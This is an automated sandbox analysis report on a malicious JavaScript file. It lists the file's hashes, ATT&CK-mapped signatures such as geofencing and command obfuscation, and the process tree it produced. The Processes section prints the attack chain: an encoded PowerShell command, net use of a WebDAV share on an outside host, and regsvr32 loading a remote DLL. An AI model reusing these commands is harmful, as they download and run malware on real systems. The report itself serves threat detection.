Analysis

  • max time kernel
    136s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/08/2024, 15:52

General

  • Target

    95035356cb0cdb2629c0042876f6aa2bb42e45ed30f92ad7e2263574b5e464cc.js

  • Size

    12KB

  • MD5

    9c68bbd9d65e07b98e83587ee8f5b8c2

  • SHA1

    9c39306de91381fa00f9430d69a26289b65d74f8

  • SHA256

    95035356cb0cdb2629c0042876f6aa2bb42e45ed30f92ad7e2263574b5e464cc

  • SHA512

    972e658f8f960394c6d4aef994670de971ffb40f8424b3e61d898cd9e9823fcf823e2395f5d804d2be082125c88b93f324ba1b60d086c6e5ec27e86579ef3533

  • SSDEEP

    192:2BnacFF+F7+X+9nHaCn84nXBhmE5Bc6rvZ8bxcohKsl73zT7T3zE5E9ylDo8orys:2B7FQ5+O9n6CntdQh+KjdQh9rDhOoy

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\95035356cb0cdb2629c0042876f6aa2bb42e45ed30f92ad7e2263574b5e464cc.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2472
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADgAMwA3ADQAMQA0ADgAMQA5ADEAMAA4ADYAMwAuAGQAbABsAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4952
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:4232
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\83741481910863.dll
          3⤵
            PID:840

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1bqbjupj.aw0.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • memory/4952-0-0x00007FFE22273000-0x00007FFE22275000-memory.dmp

              Filesize

              8KB

            • memory/4952-1-0x000002CD3F360000-0x000002CD3F382000-memory.dmp

              Filesize

              136KB

            • memory/4952-11-0x00007FFE22270000-0x00007FFE22D31000-memory.dmp

              Filesize

              10.8MB

            • memory/4952-12-0x00007FFE22270000-0x00007FFE22D31000-memory.dmp

              Filesize

              10.8MB

            • memory/4952-15-0x00007FFE22270000-0x00007FFE22D31000-memory.dmp

              Filesize

              10.8MB